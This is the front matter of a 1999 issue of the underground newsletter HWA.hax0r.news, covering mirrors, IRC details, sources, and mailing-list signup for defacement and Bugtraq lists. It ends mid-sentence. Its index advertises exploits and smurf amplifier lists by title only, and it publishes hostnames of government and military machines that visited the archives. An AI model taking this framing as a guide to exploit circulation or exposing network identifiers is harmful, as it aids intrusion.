[63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= ========================================================================== = <=-[ HWA.hax0r.news ]-=> = ========================================================================== [=HWA'99/2000=] Number 44 Volume 1 1999 Nov 28th 99 ========================================================================== [ 61:20:6B:69:64:20:63:6F:75: ] [ 6C:64:20:62:72:65:61:6B:20:74:68:69:73: ] [ 20:22:65:6E:63:72:79:70:74:69:6F:6E:22:! ] ========================================================================== "This newsletter/ezine has been Declassified for the phearing impaired" ____ / ___|_____ _____ _ __ __ _ __ _ ___ | | / _ \ \ / / _ \ '__/ _` |/ _` |/ _ \ | |__| (_) \ V / __/ | | (_| | (_| | __/ \____\___/ \_/ \___|_| \__,_|\__, |\___| |___/ This is #44 covering Nov 22nd to Nov 28th. ========================================================================== "ABUSUS NON TOLLIT USUM" ========================================================================== Mailing list members: 447 Can we bump this up somewhat? spread the word! ========================================================================== Today the spotlight may be on you, some interesting machines that have accessed these archives recently... _ _ _ | | | | ___ | |_ | |_| |/ _ \| __| | _ | (_) | |_ |_| |_|\___/ \__| _ _ _ _ | | | (_) | | |__| |_| |_ ___ | __ | | __/ __| | | | | | |_\__ \ |_| |_|_|\__|___/ .gov and .mil activity proxy.gintic.gov.sg doegate.doe.gov sunspot.gsfc.nasa.gov gate1.mcbh.usmc.mil homer.nawcad.navy.mil maggie.nawcad.navy.mil lisa.nawcad.navy.mil msproxy.transcom.mil b-kahuna.hickam.af.mil sc034ws109.nosc.mil infosec.se gate2.mcbutler.usmc.mil sc034ws109.nosc.mil shq-ot-1178.nosc.mil dhcp-036190.scott.af.mil mcreed.lan.teale.ca.gov dodo.nist.gov mc1926.mcclellan.af.mil kwai11.nsf.gov enduser.faa.gov vasfw02,fdic.gov lisa.defcen.gov.au ps1.pbgc.gov guardian.gov.sg amccss229116.scott.af.mil sc022ws224.nosc.mil sheppard2.hurlburt.af.mil marshall.us-state.gov digger1.defence.gov.au firewall.mendoza.gov.ar ipaccess.gov.ru gatekeeper.itsec-debis.de fgoscs.itsec-debis.de fhu-ed4ccdf.fhu.disa.mil citspr.tyndall.af.mil kelsatx2.kelly.af.mil kane.sheppard.af.mil relay5.nima.mil host.198-76-34-33.gsa.gov ntsrvr.vsw.navy.mil saic2.nosc.mil wygate.wy.blm.gov mrwilson.lanl.gov p722ar.npt.nuwc.navy.mil ws088228.ramstein.af.mil car-gw.defence.gov.au unknown-c-23-147.latimes.com nytgate1.nytimes.com There are some interesting machines among these, the *.nosc.mil boxes are from SPAWAR information warfare centres, good Is It Worth It Followup to see our boys keeping up with the news... - Ed =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= _ ___ ___ _ ___ | | | \ \ / / \ | |__ __ ___ __/ _ \ _ __ _ __ _____ _____ | |_| |\ \ /\ / / _ \ | '_ \ / _` \ \/ / | | | '__| '_ \ / _ \ \ /\ / / __| | _ | \ V V / ___ \ _| | | | (_| |> <| |_| | |_ | | | | __/\ V V /\__ \ |_| |_| \_/\_/_/ \_(_)_| |_|\__,_/_/\_\\___/|_(_)|_| |_|\___| \_/\_/ |___/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= http://welcome.to/HWA.hax0r.news/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= @#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@ # # @ The HWA website is sponsored by CUBESOFT communications I highly @ # recommend you consider these people for your web hosting needs, # @ @ # Web site sponsored by CUBESOFT networks http://www.csoft.net # @ check them out for great fast web hosting! @ # # # http://www.csoft.net/~hwa @ @ # @#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= _ _ _ _ _____ _ _ _ | | | | __ _ ___| | _____ _ __( )__| ____| |_| |__ (_) ___ | |_| |/ _` |/ __| |/ / _ \ '__|/ __| _| | __| '_ \| |/ __| | _ | (_| | (__| < __/ | \__ \ |___| |_| | | | | (__ |_| |_|\__,_|\___|_|\_\___|_| |___/_____|\__|_| |_|_|\___| Sadly, due to the traditional ignorance and sensationalizing of the mass media, the once-noble term hacker has become a perjorative. Among true computer people, being called a hacker is a compliment. One of the traits of the true hacker is a profoundly antibureaucratic and democratic spirit. That spirit is best exemplified by the Hacker's Ethic. This ethic was best formulated by Steven Levy in his 1984 book Hackers: Heroes of the Computer Revolution. Its tenets are as follows: 1 - Access to computers should be unlimited and total. 2 - All information should be free. 3 - Mistrust authority - promote decentralization. 4 - Hackers should be judged by their hacking not bogus criteria such as degrees, age, race, or position. 5 - You create art and beauty on a computer, 6 - Computers can change your life for the better. The Internet as a whole reflects this ethic. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= _____ _ _ _ | ___|__ _ __ _ __ ___ __ _| |_| |_(_)_ __ __ _ | |_ / _ \| '__| '_ ` _ \ / _` | __| __| | '_ \ / _` | | _| (_) | | | | | | | | (_| | |_| |_| | | | | (_| | |_| \___/|_| |_| |_| |_|\__,_|\__|\__|_|_| |_|\__, | |___/ A Comment on FORMATTING: Oct'99 - Started 80 column mode format, code is still left untouched since formatting will destroy syntax. I received an email recently about the formatting of this newsletter, suggesting that it be formatted to 75 columns in the past I've endevoured to format all text to 80 cols except for articles and site statements and urls which are posted verbatim, I've decided to continue with this method unless more people complain, the zine is best viewed in 1024x768 mode with UEDIT.... - Ed BTW if anyone can suggest a better editor than UEDIT for this thing send me some email i'm finding it lacking in certain areas. Must be able to produce standard ascii. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= __ __ _ | \/ (_)_ __ _ __ ___ _ __ ___ | |\/| | | '__| '__/ _ \| '__/ __| | | | | | | | | | (_) | | \__ \ |_| |_|_|_| |_| \___/|_| |___/ New mirror sites http://datatwirl.intranova.net * NEW * http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/ http://net-security.org/hwahaxornews http://www.sysbreakers.com/hwa http://www.attrition.org/hosted/hwa/ http://www.ducktank.net/hwa/issues.html. http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/ http://hwazine.cjb.net/ http://www.hackunlimited.com/files/secu/papers/hwa/ http://www.attrition.org/~modify/texts/zines/HWA/ * http://hwa.hax0r.news.8m.com/ * http://www.fortunecity.com/skyscraper/feature/103/ * Crappy free sites but they offer 20M & I need the space... ** Some issues are not located on these sites since they exceed the file size limitations imposed by the sites :-( please only use these if no other recourse is available. HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net thanks to airportman for the Cubesoft bandwidth. Also shouts out to all our mirror sites! and p0lix for the (now expired) digitalgeeks archive tnx guys. http://www.csoft.net/~hwa HWA.hax0r.news Mirror Sites: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/ http://www.attrition.org/hosted/hwa/ http://www.attrition.org/~modify/texts/zines/HWA/ http://www.ducktank.net/hwa/issues.html. ** NEW ** http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT ** http://www.csoft.net/~hwa/ http://www.digitalgeeks.com/hwa. *DOWN* http://members.tripod.com/~hwa_2k http://welcome.to/HWA.hax0r.news/ http://www.attrition.org/~modify/texts/zines/HWA/ http://www.projectgamma.com/archives/zines/hwa/ http://www.403-security.org/Htmls/hwa.hax0r.news.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= ____ _ / ___| _ _ _ __ ___ _ __ ___(_)___ \___ \| | | | '_ \ / _ \| '_ \/ __| / __| ___) | |_| | | | | (_) | |_) \__ \ \__ \ |____/ \__, |_| |_|\___/| .__/|___/_|___/ |___/ |_| SYNOPSIS (READ THIS) -------------------- The purpose of this newsletter is to 'digest' current events of interest that affect the online underground and netizens in general. This includes coverage of general security issues, hacks, exploits, underground news and anything else I think is worthy of a look see. (remember i'm doing this for me, not you, the fact some people happen to get a kick/use out of it is of secondary importance). This list is NOT meant as a replacement for, nor to compete with, the likes of publications such as CuD or PHRACK or with news sites such as AntiOnline, the Hacker News Network (HNN) or mailing lists such as BUGTRAQ or ISN nor could any other 'digest' of this type do so. It *is* intended however, to compliment such material and provide a reference to those who follow the culture by keeping tabs on as many sources as possible and providing links to further info, its a labour of love and will be continued for as long as I feel like it, i'm not motivated by dollars or the illusion of fame, did you ever notice how the most famous/infamous hackers are the ones that get caught? there's a lot to be said for remaining just outside the circle... @HWA =-----------------------------------------------------------------------= Welcome to HWA.hax0r.news ... #44 =-----------------------------------------------------------------------= We could use some more people joining the channel, its usually pretty quiet, we don't bite (usually) so if you're hanging out on irc stop by and idle a while and say hi... ************************************************************************** ____| _| | __| | __ \ _ \ __| | __| | | __/ | _____|_| _| _|\___|\__| Eris Free Net #HWA.hax0r.news ************************************************************************** *** /join #HWA.hax0r.news on EFnet the key is `zwen' when keyed *** *** *** *** please join to discuss or impart news on from the zine and around *** *** the zine or just to hang out, we get some interesting visitors you *** *** could be one of em. *** *** *** *** Note that the channel isn't there to entertain you its purpose is *** *** to bring together people interested and involved in the underground*** *** to chat about current and recent events etc, do drop in to talk or *** *** hangout. Also if you want to promo your site or send in news tips *** *** its the place to be, just remember we're not #hack or #chatzone... *** ************************************************************************** =--------------------------------------------------------------------------= _____ _ _ / ____| | | | | | | ___ _ __ | |_ ___ _ __ | |_ ___ | | / _ \| '_ \| __/ _ \ '_ \| __/ __| | |___| (_) | | | | || __/ | | | |_\__ \ \_____\___/|_| |_|\__\___|_| |_|\__|___/ =--------------------------------------------------------------------------= [ INDEX ] =--------------------------------------------------------------------------= Key Intros =--------------------------------------------------------------------------= 00.0 .. COPYRIGHTS ...................................................... 00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC ....................... 00.2 .. SOURCES ......................................................... 00.3 .. THIS IS WHO WE ARE .............................................. 00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?.......................... 00.5 .. THE HWA_FAQ V1.0 ................................................ ABUSUS NON TOLLIT USUM? This is (in case you hadn't guessed) Latin, and loosely translated it means "Just because something is abused, it should not be taken away from those who use it properly). This is our new motto. =--------------------------------------------------------------------------= Key Content =--------------------------------------------------------------------------= 01.0 .. GREETS .......................................................... 01.1 .. Last minute stuff, rumours, newsbytes ........................... 01.2 .. Mailbag ......................................................... 02.0 .. From the Editor.................................................. 03.0 .. Solar Sunrise: The FBI operation................................. 04.0 .. Defacing Websites: Is it Worth It? (Brian Martin)................ 05.0 .. Christmas Brings Joy For Prilissa ............................... 06.0 .. Norway Sets Wiretapping Agreement ............................... 07.0 .. Cable Pirates Busted in Cali .................................... 08.0 .. Pandora 4.0 Beta2 Now Available ................................. 09.0 .. Attrition Adds Features ......................................... 10.0 .. Zyklon Sentenced to 15 Months ................................... 11.0 .. Email Stolen From Amazon.com .................................... 12.0 .. Industry Pressures White House on Crypto Exports ................ 13.0 .. Telenor Nextel Servers Compromised .............................. 14.0 .. FBI Wants Dollars for Information Security ...................... 15.0 .. JavaScript and ActiveX May Be Banned by DOD ..................... 16.0 .. Is It Worth It Followup ......................................... 17.0 .. YTCracker Takes Out Gov Sites ................................... 18.0 .. UK Bans Key Escrow .............................................. 19.0 .. White Papers on Zero Knowledge .................................. 20.0 .. ParseTV Back On the Air ......................................... 21.0 .. English Conservatives Blame Hackers ............................. 22.0 .. Canadian Student Arrested for Downloading Software .............. 23.0 .. Students Questioned About SPAM .................................. 24.0 .. Students Fined for Unauthorized Access .......................... 25.0 .. Buffer Overflows Called Most Common Security Hole (No shit)...... 26.0 .. Palm Pilot Used In Credit Card Theft ............................ 27.0 .. Zero Knowledge on 60 Minutes .................................... 28.0 .. HotMail Fingers Bomber .......................................... 29.0 .. County Clerks Delete Arrest Warrants ............................ 30.0 .. Trojan Advertising? ............................................. 31.0 .. English ISP Mistakenly Gives Out Free Access .................... 32.0 .. SAR Top Ten Smurf Amplifiers for Nov 27th'99..................... 33.0 .. pop.c QPOP vulnerability scanner by duro......................... 34.0 .. 'Integrated FTP attack facility' by typo/teso.................... 35.0 .. wuftpd250-sploit.c C0ded by nuuB [Sep 19, 1999].................. 36.0 .. ucb.c remote UCB popper exploit.................................. 37.0 .. mh-6.8.3 / bbc Exploit for Linux (Shadow Penguin) .............. 38.0 .. mh-6.8.3 / inc Exploit for Linux (Shadow Penguin)............... 39.0 .. Interpreting Network Traffic:by Richard Bejtlich................. 40.0 .. Security Focus Newsletter #16.................................... 41.0 .. su(1) buffer overflow local exploit.............................. 42.0 .. xlock(1) Boundary Condition Error (local)........................ 43.0 .. Xsco (exec) local exploit........................................ 44.0 .. Deerfield WorldClient Pro 2.0.0.0 Boundary Condition Error....... 45.0 .. Netscape Communicator 4.7 Boundary Condition Error............... 46.0 .. Deerfield Mdaemon 2.8.50 exploit................................. 47.0 .. Cabletron SmartSwitch Router 8000 firmware 2.x DoS............... 48.0 .. Sun Forte Community Edition 1.0 Beta For NT access validation error 49.0 .. InterSoft NetTerm 4.2.x remote/local exploit.................... 50.0 .. Another MSIE Design error creates remote exploit ............... =-------------------------------------------------------------------------------= AD.S .. Post your site ads or etc here, if you can offer something in return thats tres cool, if not we'll consider ur ad anyways so send it in. ads for other zines are ok too btw just mention us in yours, please remember to include links and an email contact. Corporate ads will be considered also and if your company wishes to donate to or participate in the upcoming Canc0n99 event send in your suggestions and ads now...n.b date and time may be pushed back join mailing list for up to date information....................................... Current dates: POSTPONED til further notice, place: TBA.......... Ha.Ha .. Humour and puzzles ............................................ Hey You!........................................................ =------=........................................................ Send in humour for this section! I need a laugh and its hard to find good stuff... ;)........................................... SITE.1 .. Featured site, ................................................. H.W .. Hacked Websites ............................................... A.0 .. APPENDICES...................................................... A.1 .. PHACVW linx and references...................................... =--------------------------------------------------------------------------= @HWA'99 00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ _ _ | | ___ __ _ __ _| | | | / _ \/ _` |/ _` | | | |__| __/ (_| | (_| | | |_____\___|\__, |\__,_|_| |___/ THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ). Important semi-legalese and license to redistribute: YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE APPRECIATED the current link is http://welcome.to/HWA.hax0r.news IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL ME PRIVATELY current email cruciphux@dok.org THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS: I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE AND REDISTRIBUTE/MIRROR. - EoD Although this file and all future issues are now copyright, some of the content holds its own copyright and these are printed and respected. News is news so i'll print any and all news but will quote sources when the source is known, if its good enough for CNN its good enough for me. And i'm doing it for free on my own time so pfffft. :) No monies are made or sought through the distribution of this material. If you have a problem or concern email me and we'll discuss it. cruciphux@dok.org Cruciphux [C*:.] 00.1 CONTACT INFORMATION AND MAIL DROP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ____ _ _ / ___|___ _ __ | |_ __ _ ___| |_ ___ | | / _ \| '_ \| __/ _` |/ __| __/ __| | |__| (_) | | | | || (_| | (__| |_\__ \ \____\___/|_| |_|\__\__,_|\___|\__|___/ Wahoo, we now have a mail-drop, if you are outside of the U.S.A or Canada / North America (hell even if you are inside ..) and wish to send printed matter like newspaper clippings a subscription to your cool foreign hacking zine or photos, small non-explosive packages or sensitive information etc etc well, now you can. (w00t) please no more inflatable sheep or plastic dog droppings, or fake vomit thanks. Send all goodies to: HWA NEWS P.O BOX 44118 370 MAIN ST. NORTH BRAMPTON, ONTARIO CANADA L6V 4H5 WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are ~~~~~~~ reading this from some interesting places, make my day and get a mention in the zine, send in a postcard, I realize that some places it is cost prohibitive but if you have the time and money be a cool dude / gal and send a poor guy a postcard preferably one that has some scenery from your place of residence for my collection, I collect stamps too so you kill two birds with one stone by being cool and mailing in a postcard, return address not necessary, just a "hey guys being cool in Bahrain, take it easy" will do ... ;-) thanx. Ideas for interesting 'stuff' to send in apart from news: - Photo copies of old system manual front pages (optionally signed by you) ;-) - Photos of yourself, your mom, sister, dog and or cat in a NON compromising position plz I don't want pr0n. - Picture postcards - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250 tapes with hack/security related archives, logs, irc logs etc on em. - audio or video cassettes of yourself/others etc of interesting phone fun or social engineering examples or transcripts thereof. Stuff you can email: - Prank phone calls in .ram or .mp* format - Fone tones and security announcements from PBX's etc - fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities) - reserved for one smiley face -> :-) <- - PHACV lists of files that you have or phac cd's you own (we have a burner, *g*) - burns of phac cds (email first to make sure we don't already have em) - Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp* If you still can't think of anything you're probably not that interesting a person after all so don't worry about it Our current email: Submissions/zine gossip.....: hwa@press.usmc.net Private email to editor.....: cruciphux@dok.org Distribution/Website........: sas2@usa.net @HWA 00.2 Sources *** ~~~~~~~~~~~ ____ / ___| ___ _ _ _ __ ___ ___ ___ \___ \ / _ \| | | | '__/ __/ _ Y __| ___) | (_) | |_| | | | (_| __|__ \ |____/ \___/ \__,_|_| \___\___|___/ Sources can be some, all, or none of the following (by no means complete nor listed in any degree of importance) Unless otherwise noted, like msgs from lists or news from other sites, articles and information is compiled and or sourced by Cruciphux no copyright claimed. News & I/O zine ................. http://www.antionline.com/ Back Orifice/cDc..................http://www.cultdeadcow.com/ News site (HNN) .....,............http://www.hackernews.com/ Help Net Security.................http://net-security.org/ News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/ NewsTrolls .(daily news ).........http://www.newstrolls.com/ News + Exploit archive ...........http://www.rootshell.com/beta/news.html CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest News site+........................http://www.zdnet.com/ News site+Security................http://www.gammaforce.org/ News site+Security................http://www.projectgamma.com/ News site+Security................http://securityhole.8m.com/ News site+Security related site...http://www.403-security.org/ s News/Humour site+ ................http://www.innerpulse.com News/Techie news site.............http://www.slashdot.org +Various mailing lists and some newsgroups, such as ... +other sites available on the HNN affiliates page, please see http://www.hackernews.com/affiliates.html as they seem to be popping up rather frequently ... http://www.the-project.org/ .. IRC list/admin archives http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk alt.hackers.malicious alt.hackers alt.2600 BUGTRAQ ISN security mailing list ntbugtraq <+others> NEWS Agencies, News search engines etc: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.cnn.com/SEARCH/ http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0 http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack http://www.ottawacitizen.com/business/ http://search.yahoo.com.sg/search/news_sg?p=hack http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack http://www.zdnet.com/zdtv/cybercrime/ http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column) NOTE: See appendices for details on other links. http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm http://freespeech.org/eua/ Electronic Underground Affiliation http://ech0.cjb.net ech0 Security http://axon.jccc.net/hir/ Hackers Information Report http://net-security.org Net Security http://www.403-security.org Daily news and security related site Submissions/Hints/Tips/Etc ~~~~~~~~~~~~~~~~~~~~~~~~~~ ____ _ _ _ / ___| _ _| |__ _ __ ___ (_)___ ___(_) ___ _ __ ___ \___ \| | | | '_ \| '_ ` _ \| / __/ __| |/ _ \| '_ \/ __| ___) | |_| | |_) | | | | | | \__ \__ \ | (_) | | | \__ \ |____/ \__,_|_.__/|_| |_| |_|_|___/___/_|\___/|_| |_|___/ All submissions that are `published' are printed with the credits you provide, if no response is received by a week or two it is assumed that you don't care wether the article/email is to be used in an issue or not and may be used at my discretion. Looking for: Good news sites that are not already listed here OR on the HNN affiliates page at http://www.hackernews.com/affiliates.html Magazines (complete or just the articles) of breaking sekurity or hacker activity in your region, this includes telephone phraud and any other technological use, abuse hole or cool thingy. ;-) cut em out and send it to the drop box. - Ed Mailing List Subscription Info (Far from complete) Feb 1999 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ ISS Security mailing list faq : http://www.iss.net/iss/maillist.html ATTRITION.ORG's Website defacement mirror and announcement lists ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.attrition.org/mirror/attrition/ http://www.attrition.org/security/lists.html -- defaced [web page defacement announce list] This is a public LOW VOLUME (1) mail list to circulate news/info on defaced web sites. To subscribe to Defaced, send mail to majordomo@attrition.org with "subscribe defaced" in the BODY of the mail. There will be two types of posts to this list: 1. brief announcements as we learn of a web defacement. this will include the site, date, and who signed the hack. we will also include a URL of a mirror of the hack. 2. at the end of the day, a summary will be posted of all the hacks of the day. these can be found on the mirror site listed under 'relevant links' This list is for informational purposes only. Subscribing denotes your acceptance of the following: 1. we have nothing to do with the hacks. at all. 2. we are only mirroring the work of OTHER people. 3. we can not be held liable for anything related to these hacks. 4. all of the points on the disclaimer listed below. Under no circumstances may the information on this list be used to solicit security business. You do not have permission to forward this mail to anyone related to the domain that was defaced. enjoy. List maintainer: mcintyre@attrition.org Hosted by: majordomo@attrition.org Relevant Links: Disclaimer: http://www.attrition.org/mirror/attrition/notes.html ATTRITION Mirror: http://www.attrition.org/mirror/ (1) It is low volume on a normal day. On days of many defacements, traffic may be increased. On a few days, it is a virtual mail flood. You have been warned. ;) -=- -- defaced summary [web page defacement announce list] This is a low traffic mail list to announce all publicly defaced domains on a given day. To subscribe to Defaced-Summary, send mail to majordomo@attrition.org with "subscribe defaced-summary" in the BODY of the mail. There will be ONE type of post to this list: 1. a single nightly piece of mail listing all reported domains. the same information can be found on http://www.attrition.org/mirror/attrition/ via sporadic updates. This list is for informational purposes only. Subscribing denotes your acceptance of the following: 1. we have nothing to do with the hacks. at all. 2. we are only mirroring the work of OTHER people. 3. we can not be held liable for anything related to these hacks. 4. all of the points on the disclaimer listed below. Under no circumstances may the information on this list be used to solicit security business. You do not have permission to forward this mail to anyone related to the domain that was defaced. enjoy. List maintainer: jericho@attrition.org Hosted by: majordomo@attrition.org Relevant Links: Disclaimer: http://www.attrition.org/mirror/attrition/notes.html ATTRITION Mirror: http://www.attrition.org/mirror/ -=- defaced GM [web page defacement announce list] This is a low traffic mail list to announce all publicly defaced government and military domains on a given day. To subscribe to Defaced-GM, send mail to majordomo@attrition.org with "subscribe defaced-gm" in the BODY of the mail. There will be ONE type of post to this list: 1. sporadic pieces of mail for each government (.gov) or military (.mil) system defaced. the same information can be found on http://www.attrition.org/mirror/attrition/ via sporadic updates. This list is designed primarily for government and military personell charged with tracking security incidents on government run networks. This list is for informational purposes only. Subscribing denotes your acceptance of the following: 1. we have nothing to do with the hacks. at all. 2. we are only mirroring the work of OTHER people. 3. we can not be held liable for anything related to these hacks. 4. all of the points on the disclaimer listed below. Under no circumstances may the information on this list be used to solicit security business. You do not have permission to forward this mail to anyone related to the domain that was defaced. enjoy. List maintainer: jericho@attrition.org Hosted by: majordomo@attrition.org Relevant Links: Disclaimer: http://www.attrition.org/mirror/attrition/notes.html ATTRITION Mirror: http://www.attrition.org/mirror/ -- defaced alpha [web page defacement announce list] This is a low traffic mail list to announce via alpha-numeric pagers, all publicly defaced government and military domains on a given day. To subscribe to Defaced-Alpha, send mail to majordomo@attrition.org with "subscribe defaced-alpha" in the BODY of the mail. There will be ONE type of post to this list: 1. sporadic pieces of mail for each government (.gov) or military (.mil) system defaced. the information will only include domain names. the same information can be found on http://www.attrition.org/mirror/attrition/ via sporadic updates. This list is designed primarily for government and military personell charged with tracking security incidents on government run networks. Further, it is designed for quick response and aimed at law enforcement agencies like DCIS and the FBI. To subscribe to this list, a special mail will be sent to YOUR alpha-numeric pager. A specific response must be made within 12 hours of receiving the mail to be subscribed. If the response is not received, it is assumed the mail was not sent to your pager. This list is for informational purposes only. Subscribing denotes your acceptance of the following: 1. we have nothing to do with the hacks. at all. 2. we are only mirroring the work of OTHER people. 3. we can not be held liable for anything related to these hacks. 4. all of the points on the disclaimer listed below. Under no circumstances may the information on this list be used to solicit security business. You do not have permission to forward this mail to anyone related to the domain that was defaced. enjoy. List maintainer: jericho@attrition.org Hosted by: majordomo@attrition.org Relevant Links: Disclaimer: http://www.attrition.org/mirror/attrition/notes.html ATTRITION Mirror: http://www.attrition.org/mirror/ -=- THE MOST READ: BUGTRAQ - Subscription info ~~~~~~~~~~~~~~~~~~~~~~~~~~~ What is Bugtraq? Bugtraq is a full-disclosure UNIX security mailing list, (see the info file) started by Scott Chasin . To subscribe to bugtraq, send mail to listserv@netspace.org containing the message body subscribe bugtraq. I've been archiving this list on the web since late 1993. It is searchable with glimpse and archived on-the-fly with hypermail. Searchable Hypermail Index; http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html About the Bugtraq mailing list ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following comes from Bugtraq's info file: This list is for *detailed* discussion of UNIX security holes: what they are, how to exploit, and what to do to fix them. This list is not intended to be about cracking systems or exploiting their vulnerabilities. It is about defining, recognizing, and preventing use of security holes and risks. Please refrain from posting one-line messages or messages that do not contain any substance that can relate to this list`s charter. I will allow certain informational posts regarding updates to security tools, documents, etc. But I will not tolerate any unnecessary or nonessential "noise" on this list. Please follow the below guidelines on what kind of information should be posted to the Bugtraq list: + Information on Unix related security holes/backdoors (past and present) + Exploit programs, scripts or detailed processes about the above + Patches, workarounds, fixes + Announcements, advisories or warnings + Ideas, future plans or current works dealing with Unix security + Information material regarding vendor contacts and procedures + Individual experiences in dealing with above vendors or security organizations + Incident advisories or informational reporting Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq reflector address if the response does not meet the above criteria. Remember: YOYOW. You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of those words without your permission in any medium outside the distribution of this list may be challenged by you, the author. For questions or comments, please mail me: chasin@crimelab.com (Scott Chasin) UPDATED Sept/99 - Sent in by Androthi, tnx for the update ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I am pleased to inform you of several changes that will be occurring on June 5th. I hope you find them as exciting as I do. BUGTRAQ moves to a new home --------------------------- First, BUGTRAQ will be moving from its current home at NETSPACE.ORG to SECURITYFOCUS.COM. What is Security Focus you ask? Wait and read below. Other than the change of domains nothing of how the list is run changes. I am still the moderator. We play by the same rules. Security Focus will be providing mail archives for BUGTRAQ. The archives go back longer than Netspace's and are more complete than Geek-Girl's. The move will occur one week from today. You will not need to resubscribe. All your information, including subscription options will be moved transparently. Any of you using mail filters (e.g. procmail) to sort incoming mail into mail folders by examining the From address will have to update them to include the new address. The new address will be: BUGTRAQ@SECURITYFOCUS.COM Security Focus also be providing a free searchable vulnerability database. BUGTRAQ es muy bueno -------------------- It has also become apparent that there is a need for forums in the spirit of BUGTRAQ where non-English speaking people or people that don't feel comfortable speaking English can exchange information. As such I've decided to give BUGTRAQ in other languages a try. BUGTRAQ will continue to be the place to submit vulnerability information, but if you feel more comfortable using some other language you can give the other lists a try. All relevant information from the other lists which have not already been covered here will be translated and forwarded on by the list moderator. In the next couple of weeks we will be introducing BUGTRAQ-JP (Japanese) which will be moderated by Nobuo Miwa and BUGTRAQ-SP (Spanish) which will be moderated by CORE SDI S.A. from Argentina (the folks that brought you Secure Syslog and the SSH insertion attack). What is Security Focus? ----------------------- Security Focus is an exercise in creating a community and a security resource. We hope to be able to provide a medium where useful and successful resources such as BUGTRAQ can occur, while at the same time providing a comprehensive source of security information. Aside from moving just BUGTRAQ over, the Geek-Girl archives (and the Geek Girl herself!) have moved over to Security Focus to help us with building this new community. The other staff at Security Focus are largely derived from long time supporters of 